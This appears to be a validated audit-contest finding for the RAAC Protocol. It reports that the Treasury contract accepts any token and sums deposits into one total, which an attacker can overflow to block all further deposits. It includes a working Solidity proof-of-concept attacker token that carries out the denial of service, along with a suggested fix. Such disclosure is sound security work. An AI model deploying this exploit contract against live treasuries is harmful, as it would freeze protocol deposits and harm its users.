Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

DoS of Treasury with self-made token

056Security

Summary

RAAC Protocol has a protocol treasury fund with role-based access control. This treasury can receive deposits from anyone and keeps track of the aggregate value of all tokens within it. A problem arises when the total deposit value reaches the cap of uint256.max, causing an overflow revert. This results in a denial-of-service (DoS) attack on the entire contract. The main issue is coming from the fact that there is no token whitelisting and any token can be deposited, including custom-made tokens.

Vulnerability Details

First malicious user should deploy this token:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {Treasury} from "../../contracts/core/collectors/Treasury.sol";
​
contract MockERC20Max is ERC20 {
using SafeERC20 for IERC20;
​
Treasury public treasury;
​
constructor(address _treasury) ERC20("MAX", "MAX") {
treasury = Treasury(_treasury);
_mint(address(this), type(uint256).max);
}
​
function deposit() public {
uint256 maxUint = type(uint256).max;
uint256 maxUintMinusOne = maxUint - 1;
​
_approve(address(this), address(treasury), type(uint256).max);
treasury.deposit(address(this), maxUintMinusOne);
treasury.deposit(address(this), 1);
}
​
function transfer(address to, uint256 amount) public override returns (bool) {
revert("Not allowed");
}
}

This token will be minted and deposited with uint256 max amount to the treasury capping the totalValue at max.

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
_totalValue += amount; // this will be capped so next deposit will revert
emit Deposited(token, amount);
}

Now, the next deposit will revert and the contract will be DoS'ed due to overflow revert.

Impact

DoS of the treasury.

Tools Used

Manual review

Recommendations

Introduce a mapping for the total value of every token or add token whitelisting.

Updates

Lead Judging Commences

inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.